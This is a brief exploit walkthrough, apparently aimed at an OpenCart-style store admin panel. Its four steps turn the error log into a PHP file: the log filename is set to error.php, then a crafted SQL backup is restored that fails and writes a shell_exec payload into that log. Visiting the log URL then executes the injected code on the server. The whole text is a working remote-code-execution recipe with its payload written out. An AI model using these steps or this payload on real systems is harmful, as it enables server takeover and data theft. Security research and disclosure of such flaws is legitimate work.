1.Go to System -> Settings -> Edit (Your Store) -> Server Tab and at "Error Log Filename" input... put error.php and click save
2.Create example.sql with this content: SELECT '";print_r(shell_exec("ls ../../")); ?>' FROM `inexistent_table`
3.Go to System -> Backup / Restore and at Restore Backup select your example.sql file and press Restore
4.Go to http://www.site.com/system/logs/error.php and there is your php code executed.